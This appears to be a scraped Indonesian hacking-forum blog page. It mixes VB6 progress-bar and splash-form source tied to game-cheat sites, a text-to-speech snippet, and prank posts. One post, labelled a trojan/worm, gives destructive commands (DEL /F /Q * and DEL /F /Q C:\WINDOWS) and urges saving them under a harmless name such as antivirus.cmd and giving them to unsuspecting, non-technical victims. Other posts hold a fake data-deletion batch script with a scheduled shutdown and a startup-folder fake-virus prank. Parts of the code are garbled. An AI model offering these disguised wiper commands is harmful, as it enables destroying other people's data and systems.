GradientTwoColour UserControl.hdc, [Top to Bottom], C(0), C(2), 0, 0, UserControl.ScaleWidth, UserControl.ScaleHeight / 2
GradientTwoColour
UserControl.hdc, [Top to Bottom], C(4), C(6), 0,
UserControl.ScaleHeight / 2, UserControl.ScaleWidth,
UserControl.ScaleHeight

'DrawGradientFourColour UserControl.hDC, 0, 0, UserControl.ScaleWidth, UserControl.ScaleHeight / 2, c(0), c(1), c(2), c(3)
'DrawGradientFourColour
UserControl.hDC, 0, UserControl.ScaleHeight / 2,
UserControl.ScaleWidth, UserControl.ScaleHeight / 2 - 1, c(4), c(5),
c(6), c(7)

If Value >= 1 Then

GradientTwoColour UserControl.hdc, [Top to Bottom], C(Cool, C(10), 0, 0, q, UserControl.ScaleHeight / 2
GradientTwoColour UserControl.hdc, [Top to Bottom], C(12), C(14), 0, UserControl.ScaleHeight / 2, q, UserControl.ScaleHeight
'DrawGradientFourColour UserControl.hDC, 0, 0, q, UserControl.ScaleHeight / 2, c(Cool, c(9), c(10), c(11)
'DrawGradientFourColour
UserControl.hDC, 0, UserControl.ScaleHeight / 2, q,
UserControl.ScaleHeight / 2 - 1, c(12), c(13), c(14), c(15)
End If



ElseIf U_Orientation = Vertical Then

GradientTwoColour UserControl.hdc, [Left to Right], C(0), C(2), 0, 0, UserControl.ScaleWidth / 2, UserControl.ScaleHeight
GradientTwoColour
UserControl.hdc, [Left to Right], C(4), C(6), UserControl.ScaleWidth /
2, 0, UserControl.ScaleWidth, UserControl.ScaleHeight

'DrawGradientFourColour UserControl.hDC, 0, 0, UserControl.ScaleWidth, UserControl.ScaleHeight / 2, c(0), c(1), c(2), c(3)
'DrawGradientFourColour
UserControl.hDC, 0, UserControl.ScaleHeight / 2,
UserControl.ScaleWidth, UserControl.ScaleHeight / 2 - 1, c(4), c(5),
c(6), c(7)

If Value >= 1 Then

GradientTwoColour UserControl.hdc, [Left to Right], C(Cool, C(10), 0, 0, UserControl.ScaleWidth / 2, q
GradientTwoColour UserControl.hdc, [Left to Right], C(12), C(14), UserControl.ScaleWidth / 2, 0, UserControl.ScaleWidth, q
'DrawGradientFourColour UserControl.hDC, 0, 0, q, UserControl.ScaleHeight / 2, c(Cool, c(9), c(10), c(11)
'DrawGradientFourColour
UserControl.hDC, 0, UserControl.ScaleHeight / 2, q,
UserControl.ScaleHeight / 2 - 1, c(12), c(13), c(14), c(15)
End If
End If




UserControl.ForeColor = C(16)
RoundRect UserControl.hdc, 0, 0, UserControl.ScaleWidth - 1, UserControl.ScaleHeight - 1, U_RoundV, U_RoundV

If TextStyle = PBValue Then
DrawCaptionText Value, U_TextAlign
ElseIf TextStyle = PBPercentage Then
DrawCaptionText Y & "%", U_TextAlign
ElseIf TextStyle = CustomText Then
DrawCaptionText U_Text, U_TextAlign
ElseIf TextStyle = PBNoneText Then
End If
End Sub

Private Sub CheckTheme()
If Theme = 1 Then
'BACK
C(0) = RGB(248, 246, 242)
C(1) = RGB(248, 246, 242)
C(2) = RGB(233, 227, 211)
C(3) = RGB(233, 227, 211)
'
C(4) = RGB(226, 215, 182)
C(5) = RGB(226, 215, 182)
C(6) = RGB(239, 233, 215)
C(7) = RGB(239, 233, 215)
'FRONT
C(Cool = RGB(251, 244, 223)
C(9) = RGB(251, 244, 223)
C(10) = RGB(239, 213, 133)
C(11) = RGB(239, 213, 133)
'
C(12) = RGB(203, 166, 57)
C(13) = RGB(203, 166, 57)
C(14) = RGB(237, 224, 187)
C(15) = RGB(237, 224, 187)
'FORE COLOUR
C(16) = RGB(204, 168, 62)
ElseIf Theme = 2 Then
'BACK
C(0) = RGB(247, 248, 242)
C(1) = RGB(247, 248, 242)
C(2) = RGB(231, 233, 211)
C(3) = RGB(231, 233, 211)
'
C(4) = RGB(222, 226, 182)
C(5) = RGB(222, 226, 182)
C(6) = RGB(237, 239, 215)
C(7) = RGB(237, 239, 215)
'FRONT
C(Cool = RGB(249, 251, 223)
C(9) = RGB(249, 251, 223)
C(10) = RGB(230, 239, 133)
C(11) = RGB(230, 239, 133)
'
C(12) = RGB(190, 203, 57)
C(13) = RGB(190, 203, 57)
C(14) = RGB(233, 237, 187)
C(15) = RGB(233, 237, 187)
'FORE COLOUR
C(16) = RGB(192, 204, 62)
ElseIf Theme = 3 Then
'BACK
C(0) = RGB(242, 248, 243)
C(1) = RGB(242, 248, 243)
C(2) = RGB(211, 233, 213)
C(3) = RGB(211, 233, 213)
'
C(4) = RGB(182, 226, 186)
C(5) = RGB(182, 226, 186)
C(6) = RGB(215, 239, 217)
C(7) = RGB(215, 239, 217)
'FRONT
C(Cool = RGB(223, 251, 225)
C(9) = RGB(223, 251, 225)
C(10) = RGB(133, 239, 142)
C(11) = RGB(133, 239, 142)
'
C(12) = RGB(57, 203, 70)
C(13) = RGB(57, 203, 70)
C(14) = RGB(187, 237, 191)
C(15) = RGB(187, 237, 191)
'FORE COLOUR
C(16) = RGB(62, 204, 74)
ElseIf Theme = 4 Then
'BACK
C(0) = RGB(242, 248, 247)
C(1) = RGB(242, 248, 247)
C(2) = RGB(211, 233, 231)
C(3) = RGB(211, 233, 231)
'
C(4) = RGB(182, 226, 222)
C(5) = RGB(182, 226, 222)
C(6) = RGB(215, 239, 237)
C(7) = RGB(215, 239, 237)
'FRONT
C(Cool = RGB(223, 251, 249)
C(9) = RGB(223, 251, 249)
C(10) = RGB(133, 239, 230)
C(11) = RGB(133, 239, 230)
'
C(12) = RGB(57, 203, 190)
C(13) = RGB(57, 203, 190)
C(14) = RGB(187, 237, 233)
C(15) = RGB(187, 237, 233)
'FORE COLOUR
C(16) = RGB(62, 204, 192)
ElseIf Theme = 5 Then
'BACK
C(0) = RGB(243, 242, 248)
C(1) = RGB(243, 242, 248)
C(2) = RGB(213, 211, 233)
C(3) = RGB(213, 211, 233)
'
C(4) = RGB(186, 182, 226)
C(5) = RGB(186, 182, 226)
C(6) = RGB(217, 215, 239)
C(7) = RGB(217, 215, 239)
'FRONT
C(Cool = RGB(225, 223, 251)
C(9) = RGB(225, 223, 251)
C(10) = RGB(142, 133, 239)
C(11) = RGB(142, 133, 239)
'
C(12) = RGB(70, 57, 203)
C(13) = RGB(70, 57, 203)
C(14) = RGB(191, 187, 237)
C(15) = RGB(191, 187, 237)
'FORE COLOUR
C(16) = RGB(74, 62, 204)
ElseIf Theme = 6 Then
'BACK
C(0) = RGB(248, 242, 247)
C(1) = RGB(248, 242, 247)
C(2) = RGB(233, 211, 231)
C(3) = RGB(233, 211, 231)
'
C(4) = RGB(226, 182, 222)
C(5) = RGB(226, 182, 222)
C(6) = RGB(239, 215, 237)
C(7) = RGB(239, 215, 237)
'FRONT
C(Cool = RGB(251, 223, 249)
C(9) = RGB(251, 223, 249)
C(10) = RGB(239, 133, 230)
C(11) = RGB(239, 133, 230)
'
C(12) = RGB(203, 57, 190)
C(13) = RGB(203, 57, 190)
C(14) = RGB(237, 187, 233)
C(15) = RGB(237, 187, 233)
'FORE COLOUR
C(16) = RGB(204, 62, 192)
ElseIf Theme = 7 Then
'BACK
C(0) = RGB(248, 242, 242)
C(1) = RGB(248, 242, 242)
C(2) = RGB(233, 211, 211)
C(3) = RGB(233, 211, 211)
'
C(4) = RGB(226, 182, 182)
C(5) = RGB(226, 182, 182)
C(6) = RGB(239, 215, 215)
C(7) = RGB(239, 215, 215)
'FRONT
C(Cool = RGB(251, 223, 223)
C(9) = RGB(251, 223, 223)
C(10) = RGB(239, 133, 133)
C(11) = RGB(239, 133, 133)
'
C(12) = RGB(203, 57, 57)
C(13) = RGB(203, 57, 57)
C(14) = RGB(237, 187, 187)
C(15) = RGB(237, 187, 187)
'FORE COLOUR
C(16) = RGB(204, 62, 62)
ElseIf Theme = 8 Then
'BACK
C(0) = RGB(250, 253, 254)
C(1) = RGB(250, 253, 254)
C(2) = RGB(228, 243, 252)
C(3) = RGB(228, 243, 252)
'
C(4) = RGB(199, 230, 249)
C(5) = RGB(199, 230, 249)
C(6) = RGB(237, 247, 253)
C(7) = RGB(237, 247, 253)
'FRONT
C(Cool = RGB(225, 247, 255)
C(9) = RGB(225, 247, 255)
C(10) = RGB(67, 208, 255)
C(11) = RGB(67, 208, 255)
'
C(12) = RGB(63, 112, 233)
C(13) = RGB(63, 112, 233)
C(14) = RGB(63, 226, 246)
C(15) = RGB(63, 226, 246)
'FORE COLOUR
C(16) = RGB(23, 139, 211)
ElseIf Theme = 9 Then
'BACK
C(0) = RGB(231, 243, 232)
C(1) = RGB(231, 243, 232)
C(2) = RGB(225, 219, 225)
C(3) = RGB(225, 219, 225)
'
C(4) = RGB(179, 189, 179)
C(5) = RGB(179, 189, 179)
C(6) = RGB(226, 238, 226)
C(7) = RGB(226, 238, 226)
'FRONT
C(Cool = RGB(223, 251, 223)
C(9) = RGB(223, 251, 223)
C(10) = RGB(108, 255, 108)
C(11) = RGB(108, 255, 108)
'
C(12) = RGB(26, 228, 26)
C(13) = RGB(26, 228, 26)
C(14) = RGB(217, 244, 217)
C(15) = RGB(217, 244, 217)
'FORE COLOUR
C(16) = RGB(188, 184, 188)
ElseIf Theme = 10 Then

'BACK
C(0) = LightenColor(U_PBSCC2, 180)
C(1) = LightenColor(U_PBSCC2, 180)
C(2) = LightenColor(U_PBSCC2, 50)
C(3) = LightenColor(U_PBSCC2, 50)
'
C(4) = U_PBSCC2
C(5) = U_PBSCC2
C(6) = LightenColor(U_PBSCC2, 80)
C(7) = LightenColor(U_PBSCC2, 80)
'FRONT
C(Cool = LightenColor(U_PBSCC1, 180)
C(9) = LightenColor(U_PBSCC1, 180)
C(10) = LightenColor(U_PBSCC1, 50)
C(11) = LightenColor(U_PBSCC1, 50)
'
C(12) = U_PBSCC1
C(13) = U_PBSCC1
C(14) = LightenColor(U_PBSCC1, 80)
C(15) = LightenColor(U_PBSCC1, 80)
'FORE COLOUR
C(16) = U_PBSCC1
End If
End Sub


























































Private Sub DrawCaptionText(ByVal TextString As String, ByVal Alignment As U_TextAlignments)
Dim lonStartWidth As Long, lonStartHeight As Long
Dim PBTCN, PBTCS As Long

If Enabled = True Then
PBTCN = U_TextColor
PBTCS = U_TextEC
Else
PBTCN = ColourTOGray(U_TextColor)
PBTCS = ColourTOGray(U_TextEC)
End If

UserControl.ForeColor = PBTCN

If Alignment = 1 Then
lonStartWidth = 1
lonStartHeight = 0
ElseIf Alignment = 2 Then
lonStartWidth = 1
lonStartHeight = (UserControl.ScaleHeight / 2) - (UserControl.TextHeight(TextString) / 2) - 1
ElseIf Alignment = 3 Then
lonStartWidth = 1
lonStartHeight = (UserControl.ScaleHeight - UserControl.TextHeight(TextString)) - 1

ElseIf Alignment = 4 Then
lonStartWidth = (UserControl.ScaleWidth / 2) - (UserControl.TextWidth(TextString) / 2) - 1
lonStartHeight = 0
ElseIf Alignment = 5 Then
lonStartWidth = (UserControl.ScaleWidth / 2) - (UserControl.TextWidth(TextString) / 2) - 1
lonStartHeight = (UserControl.ScaleHeight / 2) - (UserControl.TextHeight(TextString) / 2) - 1
ElseIf Alignment = 6 Then
lonStartWidth = (UserControl.ScaleWidth / 2) - (UserControl.TextWidth(TextString) / 2) - 1
lonStartHeight = (UserControl.ScaleHeight - UserControl.TextHeight(TextString)) - 1


ElseIf Alignment = 7 Then
lonStartWidth = (UserControl.ScaleWidth - UserControl.TextWidth(TextString)) - 3
lonStartHeight = 0
ElseIf Alignment = 8 Then
lonStartWidth = (UserControl.ScaleWidth - UserControl.TextWidth(TextString)) - 3
lonStartHeight = (UserControl.ScaleHeight / 2) - (UserControl.TextHeight(TextString) / 2) - 1
ElseIf Alignment = 9 Then
lonStartWidth = (UserControl.ScaleWidth - UserControl.TextWidth(TextString)) - 3
lonStartHeight = (UserControl.ScaleHeight - UserControl.TextHeight(TextString)) - 1
End If



If U_TextEffect = Normal Then
UserControl.CurrentX = lonStartWidth
UserControl.CurrentY = lonStartHeight
UserControl.Print TextString
ElseIf U_TextEffect = Engraved Then
UserControl.ForeColor = PBTCS
UserControl.CurrentX = lonStartWidth + 1
UserControl.CurrentY = lonStartHeight + 1
UserControl.Print TextString
UserControl.ForeColor = RGB(128, 128, 128)
UserControl.CurrentX = lonStartWidth - 1
UserControl.CurrentY = lonStartHeight
UserControl.Print TextString
UserControl.ForeColor = PBTCN
UserControl.CurrentX = lonStartWidth
UserControl.CurrentY = lonStartHeight
UserControl.Print TextString

ElseIf U_TextEffect = Embossed Then
UserControl.ForeColor = PBTCS
UserControl.CurrentX = lonStartWidth - 1
UserControl.CurrentY = lonStartHeight - 1
UserControl.Print TextString
UserControl.ForeColor = RGB(128, 128, 128)
UserControl.CurrentX = lonStartWidth + 1
UserControl.CurrentY = lonStartHeight + 1
UserControl.Print TextString
UserControl.ForeColor = PBTCN
UserControl.CurrentX = lonStartWidth
UserControl.CurrentY = lonStartHeight
UserControl.Print TextString
ElseIf U_TextEffect = Outline Then
UserControl.ForeColor = PBTCS
UserControl.CurrentX = lonStartWidth + 1
UserControl.CurrentY = lonStartHeight
UserControl.Print TextString
UserControl.CurrentX = lonStartWidth - 1
UserControl.CurrentY = lonStartHeight
UserControl.Print TextString
UserControl.CurrentY = lonStartHeight - 1
UserControl.CurrentX = lonStartWidth
UserControl.Print TextString
UserControl.CurrentY = lonStartHeight + 1
UserControl.CurrentX = lonStartWidth
UserControl.Print TextString
UserControl.ForeColor = PBTCN
UserControl.CurrentX = lonStartWidth
UserControl.CurrentY = lonStartHeight
UserControl.Print TextString

ElseIf U_TextEffect = Shadow Then
UserControl.ForeColor = PBTCS
UserControl.CurrentX = lonStartWidth + 1
UserControl.CurrentY = lonStartHeight + 1
UserControl.Print TextString
UserControl.ForeColor = PBTCN
UserControl.CurrentX = lonStartWidth
UserControl.CurrentY = lonStartHeight
UserControl.Print TextString
End If


End Sub

Public
Function DrawGradientFourColour(ObjectHDC As Long, Left As Long, Top As
Long, Width As Long, Height As Long, TopLeftColour As Long,
TopRightColour As Long, BottomLeftColour As Long, BottomRightColour As
Long)
Dim bi24BitInfo As BITMAPINFO
Dim bBytes() As Byte
Dim LeftGrads() As cRGB
Dim RightGrads() As cRGB
Dim MiddleGrads() As cRGB
Dim TopLeft As cRGB
Dim TopRight As cRGB
Dim BottomLeft As cRGB
Dim BottomRight As cRGB
Dim iLoop As Long
Dim bytesWidth As Long

With TopLeft
.Red = Red(TopLeftColour)
.Green = Green(TopLeftColour)
.Blue = Blue(TopLeftColour)
End With

With TopRight
.Red = Red(TopRightColour)
.Green = Green(TopRightColour)
.Blue = Blue(TopRightColour)
End With

With BottomLeft
.Red = Red(BottomLeftColour)
.Green = Green(BottomLeftColour)
.Blue = Blue(BottomLeftColour)
End With

With BottomRight
.Red = Red(BottomRightColour)
.Green = Green(BottomRightColour)
.Blue = Blue(BottomRightColour)
End With

GradateColours LeftGrads, Height, TopLeft, BottomLeft
GradateColours RightGrads, Height, TopRight, BottomRight

With bi24BitInfo.bmiHeader
.biBitCount = 24
.biCompression = BI_RGB
.biPlanes = 1
.biSize = Len(bi24BitInfo.bmiHeader)
.biWidth = Width
.biHeight = 1
End With

ReDim bBytes(1 To bi24BitInfo.bmiHeader.biWidth * bi24BitInfo.bmiHeader.biHeight * 3) As Byte

bytesWidth = (Width) * 3

For iLoop = 0 To Height - 1
GradateColours MiddleGrads, Width, LeftGrads(iLoop), RightGrads(iLoop)
CopyMemory bBytes(1), MiddleGrads(0), bytesWidth
SetDIBitsToDevice
ObjectHDC, Left, Top + iLoop, bi24BitInfo.bmiHeader.biWidth,
bi24BitInfo.bmiHeader.biHeight, 0, 0, 0, bi24BitInfo.bmiHeader.biHeight,
bBytes(1), bi24BitInfo, DIB_RGB_COLORS
Next iLoop


End Function

Private Function GradateColours(cResults() As cRGB, Length As Long, Colour1 As cRGB, Colour2 As cRGB)
Dim fromR As Integer
Dim toR As Integer
Dim fromG As Integer
Dim toG As Integer
Dim fromB As Integer
Dim toB As Integer
Dim stepR As Single
Dim stepG As Single
Dim stepB As Single
Dim iLoop As Long

ReDim cResults(0 To Length)

fromR = Colour1.Red
fromG = Colour1.Green
fromB = Colour1.Blue

toR = Colour2.Red
toG = Colour2.Green
toB = Colour2.Blue

stepR = Divide(toR - fromR, Length)
stepG = Divide(toG - fromG, Length)
stepB = Divide(toB - fromB, Length)

For iLoop = 0 To Length
cResults(iLoop).Red = fromR + (stepR * iLoop)
cResults(iLoop).Green = fromG + (stepG * iLoop)
cResults(iLoop).Blue = fromB + (stepB * iLoop)
Next iLoop
End Function

Private Function Blue(Colour As Long) As Long
Blue = (Colour And &HFF0000) / &H10000
End Function
Private Function Green(Colour As Long) As Long
Green = (Colour And &HFF00&) / &H100
End Function

Private Function Red(Colour As Long) As Long
Red = (Colour And &HFF&)
End Function

Private Function Divide(Numerator, Denominator) As Single
If Numerator = 0 Or Denominator = 0 Then
Divide = 0
Else
Divide = Numerator / Denominator
End If
End Function
Public
Sub GradientTwoColour(ByVal hdc As Long, ByVal Direction As
GRADIENT_DIRECT, ByVal StartColor As Long, ByVal EndColor As Long, Left
As Long, Top As Long, Width As Long, Height As Long)
Dim udtVert(1) As TRIVERTEX, udtGRect As GRADIENT_RECT
Dim UDTRECT As RECT
'hDCObj.ScaleMode = vbPixels
'hDCObj.AutoRedraw = True
SetRect UDTRECT, Left, Top, Width, Height
With udtVert(0)
.X = UDTRECT.Left
.Y = UDTRECT.Top
.Red = LongToSignedShort(CLng((StartColor And &HFF&) * 256))
.Green = LongToSignedShort(CLng(((StartColor And &HFF00&) &H100&) * 256))
.Blue = LongToSignedShort(CLng(((StartColor And &HFF0000) &H10000) * 256))
.ALPHA = 0&
End With

With udtVert(1)
.X = UDTRECT.Right
.Y = UDTRECT.Bottom
.Red = LongToSignedShort(CLng((EndColor And &HFF&) * 256))
.Green = LongToSignedShort(CLng(((EndColor And &HFF00&) &H100&) * 256))
.Blue = LongToSignedShort(CLng(((EndColor And &HFF0000) &H10000) * 256))
.ALPHA = 0&
End With

udtGRect.UpperLeft = 0
udtGRect.LowerRight = 1

GradientFillRect hdc, udtVert(0), 2, udtGRect, 1, Direction
End Sub


Private Function LongToSignedShort(ByVal Unsigned As Long) As Integer
If Unsigned < 32768 Then
LongToSignedShort = CInt(Unsigned)
Else
LongToSignedShort = CInt(Unsigned - &H10000)
End If
End Function


Private Function ColourTOGray(ByVal uColor As Long) As Long
Dim Red As Long, Blue As Long, Green As Long
Dim Gray As Long
Red = uColor Mod 256
Green = (uColor Mod 65536) / 256
Blue = uColor / 65536
Gray = (Red + Green + Blue) / 3
ColourTOGray = RGB(Gray, Gray, Gray)
End Function
Private Function LightenColor(ByVal uColour As ColorConstants, Optional ByVal offset As Long = 1) As Long
Dim intR As Integer, intG As Integer, intB As Integer
intR = Abs((uColour Mod 256) + offset)
intG = Abs((((uColour And &HFF00) / 256&) Mod 256&) + offset)
intB = Abs(((uColour And &HFF0000) / 65536) + offset)

LightenColor = RGB(intR, intG, intB)
End Function



Source Formnya :

Spoiler:
'www.f2fhackerpadang.*******.net (By =V.I.P=)
'Silakan Ditambahkan pada Injecktor anda
Dim i As Long
Dim Counter As Integer
Option Explicit
Private
Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal
hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cX As
Long, ByVal cY As Long, ByVal wFlags As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private
Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As
Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long)
As Long
Private Declare Function SetWindowLong Lib "user32" Alias
"SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal
dwNewLong As Long) As Long
Const LWA_COLORKEY = &H3
Const LWA_ALPHA = &H3
Const GWL_EXSTYLE = (-20)
Const WS_EX_LAYERED = &H80000
Dim lngVal As Long
Private
Declare Function CreateRoundRectRgn Lib "gdi32" (ByVal X1 As Long,
ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long,
ByVal Y3 As Long) As Long
Private Declare Function CreateEllipticRgn
Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal
Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Dim iSplash As Integer
Dim Go As Boolean

'www.bad-boyscheaters.*******.net ( By =KikiJuli= )
Private Sub Form_KeyPress(KeyAscii As Integer)
Unload Me
End Sub
Private Sub Form_Load()
i = 0
Dim l As Long
l = CreateRoundRectRgn(0, 0, Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY, 20, 20)
SetWindowRgn Me.hWnd, l, False

End Sub
Private Sub Frame1_Click()
Unload Me
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
iSplash = iSplash + 1
ProgressBar2.Value = ProgressBar2.Value + 1000 / 700
If iSplash > 100 Then
Timer1.Enabled = False
Screen.MousePointer = vbNormal
Me.WindowState = 0
Do
Me.Left = Me.Left + 2000
Me.Move Me.Left, Me.Top
DoEvents
Loop Until Me.Left > Screen.Width
Load Form2
Form2.Show
Form2.SetFocus
Unload Me
End If
End Sub

Private Sub Pause(ms)
Dim secs
Dim G
secs = ms / 2000
G = Timer
Do While Timer - G < secs
DoEvents
Loop
End Sub
Selengkapnya...

Cara buat software bicara

0 komentar
 
Subyek: cara buat software bicara   Tue Aug 09, 2011 9:25 am Select/Unselect multi-quote Balas dengan kutipan Report post to moderator or admin Lock post for new reports

----
pertama copy script di bawah ini :



DoEvents
Dim s
Set s = CreateObject("sapi.spvoice")
s.Speak "nyit-nyit.net."

taruh di manapun agan mau contoh :



private sub cmd_click()
DoEvents
Dim s
Set s = CreateObject("sapi.spvoice")
s.Speak "Cheaters dans.net."
end sub

ni bikinnya di VB 6 Gan,



Semoga bermanfaat...




itu dah bisa ngomong.

tinggal ganti aja tulisan Cheaters Dans.

kalo ada masalah tinggal tanya aja di sini tapi, sertakan SS.

Thank's VIP member
Selengkapnya...

Kode Virus Trojan+Worm

0 komentar
 
Subyek: Kode Virus Trojan+Worm   Thu Jul 28, 2011 3:52 pmSelect/Unselect multi-quote Balas dengan kutipan Report post to moderator or admin Lock post for new reports

Untuk men-delete semua file/folder, anda cuma perlu melakukan ini:
DEL /F /Q *

Ketik/copy tulisan tsb Di notepad, kemudian save menjadi *.cmd
(ex:antivirus.cmd)

Itu akan men-delete semua data yg ada di komputer walaupun itu file/folder read-only dan anda tidak akan diberi konfirmasi untuk melakukan hal itu. Anda tidak akan bisa melakukan apapun jika anda sudah meng-klik file cmd tsb.

PERINGATAN: JANGAN PERNAH SEKALI-KALI ANDA MENCOBA MENG-KLIK JIKA ANDA TELAH MENCIPTAKANNYA, ITU AKAN MERUSAK KOMPUTER ANDA SENDIRI

Jika anda ingin mencoba virus ini, lakukan ini:

Pertama, buat text file bernama TEST.txt di C:\
Selanjutnya, buka notepad, tulis "del C:\TEST.txt" (tanpa tanda quota/"), lalu "Save As..." dan save dengan nama "Percobaan.cmd"(Juga tanpa tanda quota/")
Berikutnya, klik Percobaan.cmd tadi dan buka drive C:\ anda dan anda akan melihat file TEST.txt anda menghilang

Petunjuk yg simpel:
Buka notepad, tulis DEL /F /Q C:\WINDOWS (kalo anda orang yg tidak terlalu kejam, hapus windowsnya aja, kasian korbannya), kemudian save dengan nama *.cmd (namanya terserah anda, yg penting formatnya .cmd), lalu berikan ini kepada korban yg anda inginkan. Sekali korban membuka/meng-klik file ini, maka WINDOWSnya akan hilang dan dia harus meng-install WINDOWSnya lagi. Dijamin, datanya ilang semua karena dia harus install ulang WINDOWSnya (kalo kita install windows kan datanya terhapus smua, kecuali dia emang ahli komputer, tapi kan pasti kita kasih ni virus sama orang2 yg rada2 gaptech, jd dia ga bs bedain ini virus ato nggak. So, dia asal klik aja deh).

PERINGATAN: INI ADALAH VIRUS YANG SANGAT KUAT, SAYA TIDAK BISA MENJAMIN KEAMANAN ANDA JIKA ANDA MENCOBA MEMBUKA/MENG-KLIK VIRUS INI PADA KOMPUTER ANDA SENDIRI




SAVE AJA DENGAN EXTENSION.*BAT
------------------------KODE------------------------
@echo off
C:
cls
Echo Do you want to kill all program’s? (Y/N)
pause >nul
cls
Echo Are you sure want to delete all data? (Y/N)
pause >nul
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
ping localhost -n 2 >nul
cls
dir /s
shutdown -s -t 900 -c “you have been
:hack
echo You have just been hacked
Selengkapnya...

Trick Cara Membuat Komputer Seperti Terkena Virus

0 komentar
 
Subyek: Trick Cara Membuat Komputer Seperti Terkena Virus   Wed Sep 21, 2011 5:48 pmSelect/Unselect multi-quote Balas dengan kutipan Report post to moderator or admin Lock post for new reports

----
Trik ini akan membuatkaget yang akan diisengin sama virus palsu ini. yang jelas trick ini tidak merusak komputer tapi akan membuat detak Jantung gak karuan,, hhe . . nah gimana ?, mau coba ?

Trick membuat Komputer Seperti Terkena Virus :
1. Copy paste code ini keNotepad :
Spoiler:
sub virus
msgbox "Komputer anda terkena virus silahkan lakukan instal ulang",0," eror"
end sub
virus


2. Lalu simpan dengan nama terserah sobat, yang penting formatnya VBS, Misal : HAD.vbs
3. Lalu simpan di C:\Documents And Settings\All Users\Start Menu\Programs\Startup Supaya ketika menyalakan komputer maka trick ini berfungsi dengan sendirinya.
4. Selesai dech isengin temen !!

Ini tampilannya

Spoiler:

Enlarge this image
Selengkapnya...